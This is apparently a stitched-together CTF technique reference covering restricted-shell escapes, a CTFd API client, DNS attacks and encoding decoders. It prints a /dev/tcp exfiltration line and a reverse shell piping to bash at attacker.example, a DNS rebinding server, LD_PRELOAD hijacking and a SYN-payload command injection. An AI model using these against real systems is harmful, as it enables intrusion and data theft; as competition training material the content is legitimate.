LD_PRELOAD=/tmp/hook.so cat # constructor runs before catKey insight: Restricted shells enforce argv filtering, not environment filtering. Any allowed binary dynamically linked to libc can be hijacked through LD_PRELOAD as long as you can write a .so to a writable path. Harden by unsetting LD_PRELOAD, LD_LIBRARY_PATH, and LD_AUDIT on shell entry.
References: OverTheWire Advent 2018 — Claustrophobic, writeup 12770
---
/dev/tcp Exfiltration from Minimal Command Set (OTW Advent 2018)
Pattern: Only cat, echo, and dd are available — no curl, wget, nc, python. Bash exposes /dev/tcp/<host>/<port> as a virtual socket file; redirecting to it opens a raw TCP connection without any extra binary.
cat /opt/flag > /dev/tcp/attacker.example/8081
# attacker side:
nc -lvnp 8081Bidirectional shells:
exec 3<> /dev/tcp/attacker.example/8081
cat <&3 | bash >&3 2>&3Key insight: /dev/tcp and /dev/udp are built into bash, not real filesystem paths — any distribution shipping GNU bash supports them even when netcat/curl are missing. Always test file redirection before assuming you need an external tool.
References: OverTheWire Advent 2018 — Santa's little recorders, writeup 12780
---
Layer-by-Layer Echo-Only Bash Escape (Insomnihack 2019)
Pattern: Jail allows only echo, (, ), +, =, ;, \, $, and whitespace. Escape by recursively constructing stronger primitives each round:
# Round 0: allowed chars → unlimited `=` via $((a = 1))
# Round 1: arithmetic sets more vars; use $'\NNN' via increment loops
a=$((++a)) # counters without digits
# Round N: emit arbitrary payload as octal escapes
$('\143\141\164' /flag) # cat /flagBuild numbers using ++ on uninitialised variables, then index characters out of $PATH, $PWD, or any leaked variable. Finally concatenate those characters with \ to form any command.
Key insight: Echo-only jails are escapable because bash's arithmetic context treats uninitialised variables as 0 and supports ++, giving you any integer without digits. From there, $'\NNN' builds any byte, which builds any command.
References: Insomnihack teaser 2019 — echoechoechoecho, writeup 12911
---
Closed-Stdout Jail with \r Truncation (Insomnihack 2019)
Pattern: A bash-exec service runs commands but has stdout (and stderr) closed, so normal output silently disappears. Additionally, the target file contains a \r early on that naive cat renders as "overwrite the line", hiding the flag behind it. Workaround is two-fold: redirect output to a still-open fd (stdin is connected to the network socket, or /dev/tty), and use cat -A / od -c / xxd so the carriage return shows as ^M instead of truncating display.
# 1. confirm stdout is closed — output never returns
echo hello # nothing
echo hello 2>&1 # still nothing (stderr also closed)
# 2. redirect to stdin (fd 0), which is the network socket for nc-style services
cat flag 1>&0
# returns only the tail after \r because the terminal interprets \r literally
# 3. use cat -A (show-all) so CR becomes ^M and the hidden prefix is revealed
cat -A flag 1>&0
# or: od -c flag 1>&0 / xxd flag 1>&0 / base64 flag 1>&0
# Alternative: reopen a writable stdout
exec 1>/dev/tty # only works if a tty is attached
exec 1>&0 # duplicate the socket fd onto stdout for future cmdsKey insight: "Commands work but produce no output" means stdout is closed — find any still-open fd (stdin to the network socket is always open) and redirect with 1>&0. Once output flows, beware of display artefacts: \r truncates in raw cat, ANSI CSI sequences can blank lines, and \x1b[2J clears the terminal. Always inspect suspect files with cat -A, od -c, xxd, or base64 so no byte is lost in translation.
References: Insomnihack 2019 — myBrokenBash, writeups 13989 and 13990
---
References
- 0xL4ugh CTF "HashCashSlash": Filter
^[\\#\$]+$, payload\$$#, internal socat flag service
CTFd Platform Navigation (No Browser)
Programmatic interaction with CTFd-based CTF platforms via REST API. Eliminates browser dependency during competitions.
Table of Contents
- Detect CTFd
- Authentication
- List Challenges
- Challenge Details
- Download Challenge Files
- Submit Flags
- Scoreboard
- Hints and Unlocks
- Notifications
- User and Team Info
- Full Competition Workflow
- Python CTFd Client
- Troubleshooting
---
Detect CTFd
CTFd fingerprints in HTTP responses:
# Check for CTFd signatures in response headers and body
curl -sI "$CTF_URL" | grep -i 'ctfd\|powered-by'
# Check for CTFd API endpoint (returns Swagger UI or JSON)
curl -s "$CTF_URL/api/v1/" | head -20
# Check for CTFd static assets
curl -s "$CTF_URL" | grep -oE '(ctfd|CTFd|/themes/core)'
# Check for CTFd login page structure
curl -s "$CTF_URL/login" | grep -oE 'name="nonce"'Key indicators:
/api/v1/returns Swagger/RESTX documentation- HTML contains
/themes/core/asset paths - Login form includes a
noncehidden field - Response headers may include
CTFdinServerorX-Powered-By
---
Authentication
CTFd supports two auth methods: session cookies (login flow) and API tokens (recommended).
Important: When CTFd is detected, ask the user for their API token. Tokens are not provided by default — the user must generate one from the CTFd web UI (Settings > Access Tokens) before API access works. If the user doesn't have a token yet, guide them: log in to CTFd in a browser, go to Settings > Access Tokens, create a token, and paste it back.
Method 1: API Token (Recommended)
Generate a token from the CTFd web UI (Settings > Access Tokens), or if you already have session cookies:
# Generate token via API (requires session auth first)
curl -s -X POST "$CTF_URL/api/v1/tokens" \
-H "Content-Type: application/json" \
-b cookies.txt \
-d '{"expiration": "2026-12-31", "description": "CLI access"}' | jq .Use the token for all subsequent requests:
export CTF_URL="https://ctf.example.com"
export CTF_TOKEN="ctfd_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
# Test authentication
curl -s -H "Authorization: Token $CTF_TOKEN" "$CTF_URL/api/v1/users/me" | jq .Method 2: Session Login (Cookie-Based)
# Step 1: Get CSRF nonce from login page
NONCE=$(curl -sc cookies.txt "$CTF_URL/login" | grep 'name="nonce"' | grep -oE 'value="[^"]*"' | cut -d'"' -f2)
# Step 2: Login with credentials
curl -sb cookies.txt -c cookies.txt -X POST "$CTF_URL/login" \
-d "name=username&password=password&nonce=$NONCE" \
-L -o /dev/null -w '%{http_code}'
# Step 3: Use cookies for API calls
curl -s -b cookies.txt "$CTF_URL/api/v1/users/me" | jq .Key insight: The nonce is a CSRF token required for form-based login. API token auth bypasses this entirely — always prefer tokens when available.
---
List Challenges
# All visible challenges
curl -s -H "Authorization: Token $CTF_TOKEN" "$CTF_URL/api/v1/challenges" | jq .
# Filter by category
curl -s -H "Authorization: Token $CTF_TOKEN" "$CTF_URL/api/v1/challenges?category=web" | jq .
# Compact listing: id, name, category, value, solves
curl -s -H "Authorization: Token $CTF_TOKEN" "$CTF_URL/api/v1/challenges" | \
jq -r '.data[] | "\(.id)\t\(.value)pts\t\(.category)\t\(.name)\t(\(.solves) solves)"' | \
sort -t$'\t' -k3,3 -k2,2rn | column -t -s$'\t'Response structure:
{
"success": true,
"data": [
{
"id": 1,
"type": "standard",
"name": "Challenge Name",
"value": 100,
"solves": 42,
"solved_by_me": false,
"category": "web",
"tags": [],
"template": "...",
"script": "..."
}
]
}---
Challenge Details
# Full challenge details (description, files, hints, tags)
curl -s -H "Authorization: Token $CTF_TOKEN" "$CTF_URL/api/v1/challenges/$CHALL_ID" | jq .
# Extract just the description (HTML)
curl -s -H "Authorization: Token $CTF_TOKEN" "$CTF_URL/api/v1/challenges/$CHALL_ID" | \
jq -r '.data.description'
# Strip HTML tags for readable description
curl -s -H "Authorization: Token $CTF_TOKEN" "$CTF_URL/api/v1/challenges/$CHALL_ID" | \
jq -r '.data.description' | sed 's/<[^>]*>//g'
# List files attached to challenge
curl -s -H "Authorization: Token $CTF_TOKEN" "$CTF_URL/api/v1/challenges/$CHALL_ID" | \
jq -r '.data.files[]'
# Get connection info (if present in description)
curl -s -H "Authorization: Token $CTF_TOKEN" "$CTF_URL/api/v1/challenges/$CHALL_ID" | \
jq -r '.data.description' | grep -oE '(nc |ssh |https?://)[^ <"]+' | head -5---
Download Challenge Files
CTFd serves files with token-signed URLs. Extract them from challenge details and download:
# Get file URLs from challenge
FILES=$(curl -s -H "Authorization: Token $CTF_TOKEN" "$CTF_URL/api/v1/challenges/$CHALL_ID" | \
jq -r '.data.files[]')
# Download all challenge files
mkdir -p "chall_$CHALL_ID"
for f in $FILES; do
# File paths are relative — prepend base URL
URL="${CTF_URL}${f}"
FILENAME=$(basename "$f" | sed 's/?.*//')
curl -s -H "Authorization: Token $CTF_TOKEN" -o "chall_$CHALL_ID/$FILENAME" "$URL"
echo "Downloaded: $FILENAME"
doneKey insight: File URLs include a query-string token (?token=...) that authenticates the download. The token is time-limited — re-fetch the challenge details if downloads return 403.
---
Submit Flags
# Submit a flag
curl -s -X POST -H "Authorization: Token $CTF_TOKEN" \
-H "Content-Type: application/json" \
"$CTF_URL/api/v1/challenges/attempt" \
-d "{\"challenge_id\": $CHALL_ID, \"submission\": \"flag{example}\"}" | jq .Response statuses:
| Status | Meaning |
|---|---|
correct | Flag accepted |
incorrect | Wrong flag |
already_solved | Previously solved by you/team |
ratelimited | Too many attempts (default: 10/min) |
paused | CTF is paused |
Key insight: Rate limit is 10 incorrect submissions per minute per user. Space out brute-force attempts or you get locked out temporarily.
---
Scoreboard
# Full scoreboard
curl -s -H "Authorization: Token $CTF_TOKEN" "$CTF_URL/api/v1/scoreboard" | jq .
# Top 10
curl -s -H "Authorization: Token $CTF_TOKEN" "$CTF_URL/api/v1/scoreboard/top/10" | jq .
# Compact scoreboard
curl -s -H "Authorization: Token $CTF_TOKEN" "$CTF_URL/api/v1/scoreboard/top/20" | \
jq -r '.data | to_entries[] | "\(.value.pos)\t\(.value.name)\t\(.value.score)pts"' | \
column -t -s$'\t'Note: Scoreboard is cached server-side for 60 seconds.
---
Hints and Unlocks
# List hints for a challenge (from challenge details)
curl -s -H "Authorization: Token $CTF_TOKEN" "$CTF_URL/api/v1/challenges/$CHALL_ID" | \
jq '.data.hints'
# Get hint content (if free or already unlocked)
curl -s -H "Authorization: Token $CTF_TOKEN" "$CTF_URL/api/v1/hints/$HINT_ID" | jq .
# Unlock a paid hint (costs points)
curl -s -X POST -H "Authorization: Token $CTF_TOKEN" \
-H "Content-Type: application/json" \
"$CTF_URL/api/v1/unlocks" \
-d "{\"target\": $HINT_ID, \"type\": \"hints\"}" | jq .---
Notifications
# Get all notifications (announcements from organizers)
curl -s -H "Authorization: Token $CTF_TOKEN" "$CTF_URL/api/v1/notifications" | jq .
# Get notification count (HEAD request)
curl -sI -H "Authorization: Token $CTF_TOKEN" "$CTF_URL/api/v1/notifications" | \
grep -i 'x-total'
# Poll for new notifications since last seen
curl -s -H "Authorization: Token $CTF_TOKEN" \
"$CTF_URL/api/v1/notifications?since_id=$LAST_ID" | jq .---
User and Team Info
# Current user profile
curl -s -H "Authorization: Token $CTF_TOKEN" "$CTF_URL/api/v1/users/me" | jq .
# My solves
curl -s -H "Authorization: Token $CTF_TOKEN" "$CTF_URL/api/v1/users/me/solves" | \
jq -r '.data[] | "\(.challenge.name)\t\(.challenge.value)pts\t\(.date)"'
# My failed attempts
curl -s -H "Authorization: Token $CTF_TOKEN" "$CTF_URL/api/v1/users/me/fails" | jq .
# Current team (teams mode)
curl -s -H "Authorization: Token $CTF_TOKEN" "$CTF_URL/api/v1/teams/me" | jq .
# Team solves
TEAM_ID=$(curl -s -H "Authorization: Token $CTF_TOKEN" "$CTF_URL/api/v1/teams/me" | jq '.data.id')
curl -s -H "Authorization: Token $CTF_TOKEN" "$CTF_URL/api/v1/teams/$TEAM_ID/solves" | jq .---
Full Competition Workflow
End-to-end CTFd interaction from the terminal:
#!/usr/bin/env bash
# CTFd CLI workflow — set these two variables and go
export CTF_URL="https://ctf.example.com"
export CTF_TOKEN="ctfd_your_token_here"
AUTH="-H 'Authorization: Token $CTF_TOKEN'"
# 1. Verify auth
echo "=== Logged in as ==="
curl -s -H "Authorization: Token $CTF_TOKEN" "$CTF_URL/api/v1/users/me" | jq -r '.data | "\(.name) (id: \(.id))"'
# 2. List all challenges grouped by category
echo -e "\n=== Challenges ==="
curl -s -H "Authorization: Token $CTF_TOKEN" "$CTF_URL/api/v1/challenges" | \
jq -r '.data | sort_by(.category, -.value) | .[] |
"\(.solved_by_me | if . then "✓" else " " end) \(.id)\t\(.value)pts\t\(.category)\t\(.name)"' | \
column -t -s$'\t'
# 3. Read a specific challenge
read -p "Challenge ID: " CID
curl -s -H "Authorization: Token $CTF_TOKEN" "$CTF_URL/api/v1/challenges/$CID" | \
jq -r '.data | "Name: \(.name)\nCategory: \(.category)\nValue: \(.value)\nSolves: \(.solves)\n\nDescription:\n\(.description)"' | \
sed 's/<[^>]*>//g'
# 4. Download files
mkdir -p "chall_$CID"
curl -s -H "Authorization: Token $CTF_TOKEN" "$CTF_URL/api/v1/challenges/$CID" | \
jq -r '.data.files[]' | while read -r f; do
curl -s -H "Authorization: Token $CTF_TOKEN" -o "chall_$CID/$(basename "$f" | sed 's/?.*//')" "${CTF_URL}${f}"
done
echo "Files downloaded to chall_$CID/"
# 5. Submit flag
read -p "Flag: " FLAG
curl -s -X POST -H "Authorization: Token $CTF_TOKEN" \
-H "Content-Type: application/json" \
"$CTF_URL/api/v1/challenges/attempt" \
-d "{\"challenge_id\": $CID, \"submission\": \"$FLAG\"}" | \
jq -r '.data | "\(.status): \(.message)"'---
Python CTFd Client
Reusable class for scripted interaction:
import requests
import os
import re
from pathlib import Path
class CTFdClient:
"""Minimal CTFd API client for competition use."""
def __init__(self, url, token):
self.url = url.rstrip('/')
self.s = requests.Session()
self.s.headers['Authorization'] = f'Token {token}'
def _get(self, path, **kwargs):
r = self.s.get(f'{self.url}/api/v1{path}', **kwargs)
r.raise_for_status()
return r.json()
def _post(self, path, json=None):
r = self.s.post(f'{self.url}/api/v1{path}', json=json)
r.raise_for_status()
return r.json()
# --- Challenges ---
def challenges(self, category=None):
"""List all visible challenges."""
params = {'category': category} if category else {}
return self._get('/challenges', params=params)['data']
def challenge(self, cid):
"""Get full challenge details."""
return self._get(f'/challenges/{cid}')['data']
def unsolved(self):
"""List challenges not yet solved by current user."""
return [c for c in self.challenges() if not c.get('solved_by_me')]
# --- Files ---
def download_files(self, cid, dest='.'):
"""Download all files for a challenge."""
info = self.challenge(cid)
dest = Path(dest)
dest.mkdir(parents=True, exist_ok=True)
paths = []
for f in info.get('files', []):
url = f'{self.url}{f}' if f.startswith('/') else f
fname = re.sub(r'\?.*', '', f.split('/')[-1])
out = dest / fname
r = self.s.get(url)
r.raise_for_status()
out.write_bytes(r.content)
paths.append(str(out))
return paths
# --- Flag Submission ---
def submit(self, cid, flag):
"""Submit a flag. Returns (status, message)."""
resp = self._post('/challenges/attempt',
json={'challenge_id': cid, 'submission': flag})
d = resp['data']
return d['status'], d['message']
# --- Scoreboard ---
def scoreboard(self, top=10):
"""Get top N scoreboard entries."""
return self._get(f'/scoreboard/top/{top}')['data']
# --- User/Team ---
def me(self):
"""Current user info."""
return self._get('/users/me')['data']
def my_solves(self):
"""Challenges solved by current user."""
return self._get('/users/me/solves')['data']
# --- Hints ---
def hint(self, hint_id):
"""Get hint content (if unlocked or free)."""
return self._get(f'/hints/{hint_id}')['data']
def unlock_hint(self, hint_id):
"""Unlock a hint (costs points)."""
return self._post('/unlocks', json={'target': hint_id, 'type': 'hints'})
# --- Notifications ---
def notifications(self, since_id=None):
"""Get announcements. Optionally filter since a notification ID."""
params = {'since_id': since_id} if since_id else {}
return self._get('/notifications', params=params)['data']
# --- Usage ---
if __name__ == '__main__':
c = CTFdClient(os.environ['CTF_URL'], os.environ['CTF_TOKEN'])
# Dashboard
print(f"Logged in as: {c.me()['name']}")
print(f"\nUnsolved challenges:")
for ch in c.unsolved():
print(f" [{ch['id']}] {ch['category']}/{ch['name']} ({ch['value']}pts, {ch['solves']} solves)")
# Download and submit workflow
# files = c.download_files(1, dest='chall_1')
# status, msg = c.submit(1, 'flag{...}')
# print(f"{status}: {msg}")---
Troubleshooting
| Symptom | Cause | Fix |
|---|---|---|
| 401 Unauthorized | Token expired or invalid | Re-generate token via web UI or session login |
| 403 on file download | File token expired | Re-fetch challenge details to get fresh file URLs |
| 403 on challenges | CTF not started or email unverified | Check /api/v1/users/me for verified field |
| 429 Rate Limited | Too many wrong flag submissions | Wait 60 seconds; default is 10 incorrect/min |
| Empty challenge list | CTF hasn't started | Check CTF start time in notifications or config |
nonce missing | Login page changed or anti-bot | Try API token auth instead of session login |
| Connection info not in API | Some CTFs use dynamic instances | Check for challenge-specific instance API or Docker endpoints |
CTF Misc - DNS Exploitation Techniques
Table of Contents
- EDNS Client Subnet (ECS) Spoofing
- DNSSEC NSEC Walking
- Incremental Zone Transfer (IXFR)
- DNS Rebinding
- DNS Tunneling / Exfiltration
- DNS Enumeration Quick Reference
- DNS Round-Robin A Record Enumeration (EKOPARTY 2017)
- DNS Maze Traversal (hxp CTF 2017)
- TCP Fast Open SYN-Payload Command Injection (Insomnihack 2019)
---
EDNS Client Subnet (ECS) Spoofing
Pattern (DragoNflieS, Nullcon 2026): DNS server returns different records based on client IP. Spoof source using ECS option.
# dig with ECS option
dig @52.59.124.14 -p 5053 flag.example.com TXT +subnet=10.13.37.1/24import dns.edns, dns.query, dns.message
q = dns.message.make_query("flag.example.com", "TXT", use_edns=True)
ecs = dns.edns.ECSOption("10.13.37.1", 24, 0) # Internal network subnet
q.use_edns(0, 0, 8192, options=[ecs])
r = dns.query.udp(q, "target_ip", port=5053, timeout=1.5)
for rrset in r.answer:
for rd in rrset:
print(b"".join(rd.strings).decode())Key insight: Try leet-speak subnets like 10.13.37.0/24 (1337), common internal ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
DNSSEC NSEC Walking
Pattern (DiNoS, Nullcon 2026): NSEC records in DNSSEC zones reveal all domain names by chaining to the next name.
import subprocess, re
def walk_nsec(server, port, base_domain):
"""Walk NSEC chain to enumerate entire zone."""
current = base_domain
visited = set()
records = []
while current not in visited:
visited.add(current)
out = subprocess.check_output(
["dig", f"@{server}", "-p", str(port), "ANY", current, "+dnssec"],
text=True)
# Extract TXT records
for m in re.finditer(r'TXT\s+"([^"]*)"', out):
records.append((current, m.group(1)))
# Follow NSEC chain
m = re.search(r'NSEC\s+(\S+)', out)
if m:
current = m.group(1).rstrip('.')
else:
break
return recordsIncremental Zone Transfer (IXFR)
Pattern (Zoney, Nullcon 2026): When AXFR is blocked, IXFR from old serial reveals zone update history including deleted records.
# AXFR blocked? Try IXFR from serial 0
dig @server -p 5054 flag.example.com IXFR=0
# Look for historical TXT records in the diff outputIXFR output format: The diff shows pairs of SOA records bracketing additions/deletions. Records between the old SOA and new SOA were removed; records after new SOA were added. Deleted TXT records often contain flag fragments.
---
DNS Rebinding
Pattern: Bypass same-origin or IP-based access controls by making a DNS name resolve to different IPs over time.
How it works: 1. Attacker controls DNS for evil.com with very low TTL (e.g., 1 second) 2. First resolution: evil.com -> attacker's IP (serves malicious JS) 3. Second resolution: evil.com -> 127.0.0.1 (or internal IP) 4. Browser's same-origin policy allows JS on evil.com to access the new IP
# Simple DNS rebinding server (Python + dnslib)
from dnslib import DNSRecord, RR, A
from dnslib.server import DNSServer, BaseResolver
class RebindResolver(BaseResolver):
def __init__(self):
self.count = {}
def resolve(self, request, handler):
qname = str(request.q.qname)
self.count[qname] = self.count.get(qname, 0) + 1
reply = request.reply()
if self.count[qname] % 2 == 1:
reply.add_answer(RR(qname, rdata=A("ATTACKER_IP"), ttl=1))
else:
reply.add_answer(RR(qname, rdata=A("127.0.0.1"), ttl=1))
return replyTools: rbndr.us for quick rebinding without custom DNS, singularity for automated attacks.
---
DNS Tunneling / Exfiltration
Pattern: Data exfiltrated via DNS queries (subdomains) or responses (TXT records).
Detection in PCAPs:
# Extract DNS queries from pcap
tshark -r capture.pcap -Y "dns.qry.type == 1" \
-T fields -e dns.qry.name | sort -u
# Look for encoded subdomains (hex, base32, base64url)
tshark -r capture.pcap -Y "dns.qry.name contains '.evil.com'" \
-T fields -e dns.qry.nameDecoding exfiltrated data:
import base64
# Subdomain-based exfil: data.chunk1.evil.com, data.chunk2.evil.com
queries = [...] # extracted DNS query names
chunks = [q.split('.')[0] for q in queries if q.endswith('.evil.com')]
decoded = base64.b32decode(''.join(chunks).upper() + '====')
print(decoded)DNS-based C2 in PCAPs:
tshark -r capture.pcap -Y "dns.qry.type == 16" \
-T fields -e dns.qry.name -e dns.txt---
DNS Round-Robin A Record Enumeration (EKOPARTY 2017)
Pattern: Domain configured with many rotating A records pointing to different backend IPs. Only some serve the relevant HTTP content. Query repeatedly to collect all IPs, then scan and make direct virtual-host requests.
# Get all A records (query multiple times for round-robin)
for i in $(seq 1 100); do dig +short target.com A; done | sort -u > ips.txt
# Scan each IP for open port 80 and request with correct Host header
while read ip; do
response=$(curl -s -m 3 -H "Host: target.com" "http://$ip/")
if echo "$response" | grep -q "flag"; then
echo "Found on $ip"
echo "$response"
fi
done < ips.txtKey insight: DNS round-robin with heterogeneous backends can hide content across many IPs. A single DNS query may not return all records — query repeatedly (50-100 times) and deduplicate to exhaust the record set. Then make direct virtual-host requests (-H "Host: target.com") to each IP for complete coverage.
---
DNS Maze Traversal (hxp CTF 2017)
A maze encoded as DNS records: each UUID subdomain is a position, dig -t txt gives hints, CNAME records for directional subdomains give neighboring positions:
import dns.resolver
def get_neighbors(uuid, domain):
neighbors = {}
for direction in ['up', 'down', 'left', 'right']:
try:
answer = dns.resolver.resolve(f'{direction}.{uuid}.{domain}', 'CNAME')
neighbors[direction] = str(answer[0]).split('.')[0]
except: pass
return neighbors
# BFS to find exit
from collections import deque
queue = deque([(start_uuid, [start_uuid])])
visited = {start_uuid}
while queue:
current, path = queue.popleft()
txt = dns.resolver.resolve(f'{current}.{domain}', 'TXT')
if 'flag' in str(txt[0]):
print(f"Found flag at {current}: {txt[0]}")
break
for direction, next_uuid in get_neighbors(current, domain).items():
if next_uuid not in visited:
visited.add(next_uuid)
queue.append((next_uuid, path + [next_uuid]))Key insight: DNS records can encode arbitrary graph structures. Each node is a subdomain (UUID), edges are CNAME records at directional subdomains (up/down/left/right.UUID.domain), and node data is in TXT records. Standard graph search (BFS/DFS) solves these. Cache aggressively — DNS round-trip times dominate runtime. Use dns.resolver (dnspython) rather than subprocess dig calls for performance.
---
DNS Enumeration Quick Reference
# Standard zone transfer attempt
dig @ns.target.com target.com AXFR
# Brute-force subdomains
for sub in $(cat wordlist.txt); do
dig +short "$sub.target.com" && echo "$sub"
done
# Reverse DNS sweep
for i in $(seq 1 254); do
dig +short -x 10.0.0.$i
done
# Check for wildcard DNS
dig randomnonexistent.target.com---
TCP Fast Open SYN-Payload Command Injection (Insomnihack 2019)
Pattern: A service uses TCP Fast Open (RFC 7413) and processes up to ~1460 bytes of data carried in the initial SYN packet, before the three-way handshake completes. If the handler passes those bytes to a command interpreter, you can invoke commands without ever establishing a full connection — ports that appear closed/filtered to standard TCP scans respond only to SYN+data. A common CTF hint for this technique is any mention of "RFC 741x", "fast open", or "knock with data".
# Linux kernel: enable client-side TFO: sysctl -w net.ipv4.tcp_fastopen=5
# Python sockets support TFO via MSG_FASTOPEN on the first sendto().
import socket
MSG_FASTOPEN = 0x20000000
def tfo_send(host, port, payload: bytes, timeout=3.0):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
s.sendto(payload, MSG_FASTOPEN, (host, port))
try:
return s.recv(65536)
finally:
s.close()
# Scapy variant: raw SYN with payload (no kernel TFO cookie needed for testing)
# from scapy.all import IP, TCP, send
# send(IP(dst=host)/TCP(dport=port, flags='S', seq=1)/b'SyN ls -la')
print(tfo_send('10.13.37.99', 3737, b'SyN cat ./secret/me/not/flag.txt'))Key insight: Classic port scans (nmap -sS, nc -vz) don't carry SYN data, so TFO-only services look silent. When a challenge hints at RFC 7413 or "knock with data", send the payload inside the SYN (either via MSG_FASTOPEN or a crafted Scapy packet) and watch for a response. The prefix ("SyN" here) is often the service's auth token since it's visible in the first 3-4 bytes of any sniffed SYN.
References: Insomnihack 2019 — Net1, writeups 13988, 13989, 13990
CTF Misc - Advanced Encodings & Specialized Formats
Table of Contents
- Verilog/HDL
- Gray Code Cyclic Encoding (EHAX 2026)
- Binary Tree Key Encoding
- RTF Custom Tag Data Extraction (VolgaCTF 2013)
- SMS PDU Decoding and Reassembly (RuCTF 2013)
- Automated Multi-Encoding Sequential Solver (HackIM 2016)
- RFC 4042 UTF-9 Decoding (SECCON 2015)
- Pixel Color Binary Encoding (Break In 2016)
- Hexadecimal Sudoku + QR Assembly (BSidesSF 2026)
- TOPKEK Binary Encoding (Hack The Vote 2016)
- MaxiCode 2D Barcode Decoding (CSAW CTF 2016)
- DTMF Audio with Multi-Tap Phone Keypad Decoding (h4ckc0n 2017)
- Music Note Interval Steganography (DefCamp 2017)
- Ruby Array#unpack Buffer Under-Read CVE-2018-8778 (Codegate 2019)
- Binary Grid Text to QR Image + XOR Key (Pragyan CTF 2019)
---
Verilog/HDL
# Translate Verilog logic to Python
def verilog_module(input_byte):
wire_a = (input_byte >> 4) & 0xF
wire_b = input_byte & 0xF
return wire_a ^ wire_b---
Gray Code Cyclic Encoding (EHAX 2026)
Pattern (#808080): Web interface with a circular wheel (5 concentric circles = 5 bits, 32 positions). Must fill in a valid Gray code sequence where consecutive values differ by exactly one bit.
Gray code properties:
- N-bit Gray code has 2^N unique values
- Adjacent values differ by exactly 1 bit (Hamming distance = 1)
- The sequence is cyclic — rotating the start position produces another valid sequence
- Standard conversion:
gray = n ^ (n >> 1)
# Generate N-bit Gray code sequence
def gray_code(n_bits):
return [i ^ (i >> 1) for i in range(1 << n_bits)]
# 5-bit Gray code: 32 values
seq = gray_code(5)
# [0, 1, 3, 2, 6, 7, 5, 4, 12, 13, 15, 14, 10, 11, 9, 8, ...]
# Rotate sequence by k positions (cyclic property)
def rotate(seq, k):
return seq[k:] + seq[:k]
# If decoded output is ROT-N shifted, rotate the Gray code start by N positions
rotated = rotate(seq, 4) # Shift start by 4Key insight: If the decoded output looks correct but shifted (e.g., ROT-4), the Gray code start position needs cyclic rotation by the same offset. The cyclic property guarantees all rotations remain valid Gray codes.
Wheel mapping: Each concentric circle = one bit position. Innermost = bit 0, outermost = bit N-1. Read bits at each angular position to build N-bit values.
---
Binary Tree Key Encoding
Encoding: '0' → j = j*2 + 1, '1' → j = j*2 + 2
Decoding:
def decode_path(index):
path = ""
while index != 0:
if index & 1: # Odd = left ('0')
path += "0"
index = (index - 1) // 2
else: # Even = right ('1')
path += "1"
index = (index - 2) // 2
return path[::-1]---
RTF Custom Tag Data Extraction (VolgaCTF 2013)
Pattern: Data hidden inside custom RTF control sequences (e.g., {\*\volgactf412 [DATA]}). Extract numbered blocks, sort by index, concatenate, and base64-decode.
import re, base64
rtf = open('document.rtf', 'r').read()
# Extract custom tags: {\*\volgactf<N> <DATA>}
blocks = re.findall(r'\{\\\*\\volgactf(\d+)\s+([^}]+)\}', rtf)
blocks.sort(key=lambda x: int(x[0])) # Sort by numeric index
payload = ''.join(data for _, data in blocks)
flag = base64.b64decode(payload)Key insight: RTF files support custom control sequences prefixed with \* (ignorable destinations). Malicious or challenge data hides in these ignored fields — standard RTF viewers skip them. Look for non-standard \*\ tags with grep -oP '\\\\\\*\\\\[a-z]+\d*' document.rtf.
---
SMS PDU Decoding and Reassembly (RuCTF 2013)
Pattern: Intercepted hex strings are GSM SMS-SUBMIT PDU (Protocol Data Unit) frames. Concatenated SMS messages require UDH (User Data Header) reassembly by sequence number.
from smspdu import SMS_SUBMIT
# Read PDU hex strings (one per line)
pdus = [line.strip() for line in open('sms_intercept.txt')]
# Sort by concatenation sequence number (bytes 38-40 in hex)
pdus.sort(key=lambda pdu: int(pdu[38:40], 16))
# Extract and concatenate user data
payload = b''
for pdu in pdus:
sms = SMS_SUBMIT.fromPDU(pdu[2:], '') # Skip first byte (SMSC length)
payload += sms.user_data.encode() if isinstance(sms.user_data, str) else sms.user_data
# Payload is often base64 — decode to get embedded file
import base64
with open('output.png', 'wb') as f:
f.write(base64.b64decode(payload))Key insight: SMS PDU format: 0041000B91 prefix identifies SMS-SUBMIT. UDH field at bytes 29-40 contains 05000301XXYY where XX=total parts, YY=sequence number. Install smspdu library (pip install smspdu) for automated parsing. Output is often a base64-encoded image — use reverse image search to identify the subject.
---
Automated Multi-Encoding Sequential Solver (HackIM 2016)
Some challenges require decoding 25+ sequential layers of different encodings. Build an automated decoder:
import base64, zlib, bz2, codecs
def auto_decode(data):
"""Try each encoding and return first successful decode"""
decoders = [
('base64', lambda d: base64.b64decode(d)),
('base32', lambda d: base64.b32decode(d)),
('base16', lambda d: base64.b16decode(d.upper())),
('zlib', lambda d: zlib.decompress(d if isinstance(d, bytes) else d.encode())),
('bz2', lambda d: bz2.decompress(d if isinstance(d, bytes) else d.encode())),
('rot13', lambda d: codecs.decode(d, 'rot_13')),
('hex', lambda d: bytes.fromhex(d if isinstance(d, str) else d.decode())),
('binary', lambda d: bytes(int(d[i:i+8], 2) for i in range(0, len(d.strip()), 8))),
('ebcdic', lambda d: d.decode('cp500') if isinstance(d, bytes) else d.encode().decode('cp500')),
]
for name, decoder in decoders:
try:
result = decoder(data)
if result and len(result) > 0:
return name, result
except:
continue
return None, data
# Chain decoder
data = initial_input
for i in range(50): # Max layers
name, data = auto_decode(data)
if name is None:
break
print(f"Layer {i}: {name}")Add Brainfuck detection (presence of +-<>[]., characters only) and other esoteric languages as needed.
---
RFC 4042 UTF-9 Decoding (SECCON 2015)
RFC 4042 (April Fools' RFC) defines UTF-9, a 9-bit encoding for Unicode on systems with 9-bit bytes:
- Each 9-bit "byte" has a continuation bit (MSB): 1 = more bytes follow, 0 = last byte
- Lower 8 bits contain character data
- Multi-byte sequences concatenate the 8-bit portions
def decode_utf9(data_bits):
"""Decode UTF-9 from a bitstring"""
chars = []
i = 0
while i < len(data_bits):
# Read 9-bit units until continuation bit is 0
codepoint_bits = ''
while i + 9 <= len(data_bits):
continuation = int(data_bits[i])
codepoint_bits += data_bits[i+1:i+9]
i += 9
if continuation == 0:
break
if codepoint_bits:
chars.append(chr(int(codepoint_bits, 2)))
return ''.join(chars)
# Convert octal/hex input to binary first
binary_string = bin(int(octal_data, 8))[2:]
result = decode_utf9(binary_string)Key insight: Look for "4042" or "UTF-9" in challenge descriptions. The April Fools' RFC series (RFC 1149, 2549, 4042) occasionally appears in CTFs.
---
Pixel Color Binary Encoding (Break In 2016)
